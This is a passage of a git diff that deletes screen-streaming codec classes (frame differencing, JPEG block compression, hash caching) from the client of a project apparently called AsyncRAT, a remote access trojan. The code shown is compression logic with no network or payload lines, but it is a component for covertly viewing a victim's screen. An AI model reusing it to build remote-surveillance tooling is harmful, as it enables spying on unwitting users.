DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y) - { - ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height); - Blocks[index] = ScanBlock; - } - else - { - Blocks.Add(ScanBlock); - } - } - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2); - outStream.Write(temp, 0, temp.Length); - cloned.Dispose(); - TotalDataLength += 6 + temp.Length; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 4); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - - byte[] LenTemp = new byte[4]; - inStream.Read(LenTemp, 0, 4); - int DataLength = BitConverter.ToInt32(LenTemp, 0); - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (DataLength > 0) - { - byte[] temp = new byte[6]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - int DataSize = BitConverter.ToInt32(temp, 0); - ushort Y = BitConverter.ToUInt16(temp, 4); - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - DataLength -= 6 + temp.Length; - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs deleted file mode 100644 index 85155be..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs +++ /dev/null @@ -1,374 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallCachedStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - SortedList codeCached; - SortedList decodeCached; - public override int BufferCount - { - get { return codeCached.Count; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - private CRC32 hasher; - public int MaxBuffers { get; private set; } - - /// - /// Initialize a new object of SmallCachedStreamCodec - /// - /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance - /// The image quality 0-100% - public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - codeCached = new SortedList(); - decodeCached = new SortedList(); - hasher = new CRC32(); - this.MaxBuffers = MaxBuffers; - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - const int CheckHeight = 50; - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - y = Blocks[i].Y; - lasty = (Blocks[i].Y + Blocks[i].Height); - - while (y != lasty) - { - int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight; - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - cBlock = new Rectangle(x, y, s.Width, ScanHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - /*byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/ - - //hash it and see if exists in cache - hasher = new CRC32(); //re-initialize for seed - byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0); - - if (codeCached.Count >= MaxBuffers) - codeCached.RemoveAt(0); - - if (codeCached.ContainsKey(hash)) - { - CachedSize += (ulong)tempData.Length; - finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock)); - } - else - { - //nothing found in cache let's use the normal way - codeCached.Add(hash, tempData); - finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock)); - } - } - x += s.Width; - } - y += ScanHeight; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - buffer = new byte[0]; - Rectangle rect = finalUpdates[i].Rect; - - if (!finalUpdates[i].isCached) - { - fixed (byte* ptr = finalUpdates[i].Data) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - } - - outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 6) + 1; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - List cacheInfo = new List(); - byte[] HeaderData = new byte[(4 * 6) + 1]; - - while (DataSize > 0) - { - inStream.Read(HeaderData, 0, HeaderData.Length); - - bool isCached = HeaderData[0] == 1; - rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5), - BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13)); - int Hash = BitConverter.ToInt32(HeaderData, 17); - int UpdateLen = BitConverter.ToInt32(HeaderData, 21); - - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - //process update data - if (isCached) - { - //data is cached - if (decodeCached.ContainsKey(Hash)) - buffer = decodeCached[Hash]; - else - { - - } - cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect)); - } - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - if (buffer.Length > 0) - { - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - - tmp.Dispose(); - m.Close(); - m.Dispose(); - } - - if (decodeCached.Count >= MaxBuffers) - decodeCached.RemoveAt(0); - - if(!decodeCached.ContainsKey(Hash)) - this.decodeCached.Add(Hash, buffer); - DataSize -= UpdateLen + HeaderData.Length; - } - - int CachedSize = 0; - foreach(CacheInfo inf in cacheInfo) - { - CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height; - - - } - Console.WriteLine(cacheInfo.Count + ", " + CachedSize); - g.Dispose(); - return decodedBitmap; - } - - private class CacheInfo - { - public bool isCached = false; - public byte[] Data; - public int Hash; - public Rectangle Rect; - - public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect) - { - this.Hash = Hash; - this.isCached = isCached; - this.Data = Data; - this.Rect = Rect; - } - - /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec) - { - if (ScanRects.Count > 0) - { - int scanX = ScanRects[0].X; - for (int i = 0; i < ScanRects.Count; i++) - { - int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width; - Rectangle rect = ScanRects[i]; - rect.Width = scanWidth; - rect.X = scanX; - byte[] buffer = new byte[0]; - sBmp.CopyBlock(rect, ref buffer); - - int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0); - - if (!HashList.ContainsKey(hash)) - HashList.Add(hash, rect); - - //fixed (byte* ptr = buffer) - //{ - // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr))) - // { - // buffer = codec.lzwCompression.Compress(TmpBmp); - // - // } - //} - - scanX += scanWidth; - } - } - }*/ - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs deleted file mode 100644 index 0dea684..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs +++ /dev/null @@ -1,266 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - - /// - /// Initialize a new object of SmallStreamCodec - /// - /// The image quality 0-100% - public SmallStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - /// - /// Encode the image - /// - /// The image you want to encode. - /// The output stream - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - sbBmp.CopyBlock(rect, ref buffer); - - fixed (byte* ptr = buffer) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - /// - /// Decode the video stream - /// - /// The input stream - /// The image that has been decoded - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= buffer.Length + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs deleted file mode 100644 index ddbd18b..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - internal class GridBlock - { - public Rectangle Rect { get; private set; } - public ulong Hash { get; private set; } - private GridEncoder encoder; - - public GridBlock(Rectangle Rect, GridEncoder encoder) - { - this.encoder = encoder; - this.Rect = Rect; - CalculateHash(); - } - - public void CalculateHash() - { - - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs deleted file mode 100644 index 6cfcdfa..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - public class GridEncoder : IEncoder - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - - - public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream) - { - - - - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - return null; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs deleted file mode 100644 index 06331f9..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs +++ /dev/null @@ -1,46 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary -{ - public abstract class IEncoder - { - protected LzwCompression lzwCompression; - public abstract ulong CachedSize { get; internal set; } - protected object ImageProcessLock { get; private set; } - - private int _imageQuality; - public int ImageQuality - { - get { return _imageQuality; } - set - { - _imageQuality = value; - lzwCompression = new LzwCompression(value); - } - } - - - public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public IEncoder(int ImageQuality = 100) - { - this.ImageQuality = ImageQuality; - this.ImageProcessLock = new object(); - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); - public abstract unsafe Bitmap DecodeData(Stream inStream); - public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); - - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs deleted file mode 100644 index d48beca..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs +++ /dev/null @@ -1,324 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCacheCodec : IUnsafeCodec - { - private const int BlockCount = 5; - private const int HashBlockCount = 8192; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Bitmap decodedBitmap; - private int EncodedWidth; - private int EncodedHeight; - private PixelFormat EncodedFormat; - private MurmurHash2Unsafe hasher; - private SortedList> EncodeBuffer; - private Rectangle[] Offsets; - private BlockInfo[] EncodeHashBlocks; - private BlockInfo[] DecodeHashBlocks; - - public ulong EncodedFrames { get; private set; } - public ulong DecodedFrames { get; private set; } - - public UnsafeCacheCodec(int ImageQuality = 80) - : base(ImageQuality) - { - this.hasher = new MurmurHash2Unsafe(); - this.Offsets = new Rectangle[BlockCount]; - this.EncodeHashBlocks = new BlockInfo[HashBlockCount]; - this.DecodeHashBlocks = new BlockInfo[HashBlockCount]; - for (int i = 0; i < HashBlockCount; i++) - { - EncodeHashBlocks[i] = new BlockInfo(); - DecodeHashBlocks[i] = new BlockInfo(); - } - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - if (ImageSize.Width == 0 || ImageSize.Height == 0) - throw new ArgumentException("The width and height must be 1 or higher"); - if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount) - throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount); - - int PixelSize = 0; - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - int Stride = ImageSize.Width * PixelSize; - int RawLength = Stride * ImageSize.Height; - - if (EncodedFrames == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - - double size = (double)ImageSize.Width / (double)BlockCount; - - //fix floating point here - for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size) - { - Offsets[i] = new Rectangle(j, 0, (int)size, 1); - } - - EncodeBuffer = new SortedList>(); - for (int y = 0; y < ImageSize.Height; y++) - { - for(int i = 0; i < Offsets.Length; i++) - { - if (!EncodeBuffer.ContainsKey(y)) - EncodeBuffer.Add(y, new SortedList()); - if (!EncodeBuffer[y].ContainsKey(Offsets[i].X)) - EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash - } - } - EncodedFrames++; - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List ImageOffsets = new List(); - List ImageHashes = new List(); - - byte* pScan0 = (byte*)Scan0.ToInt32(); 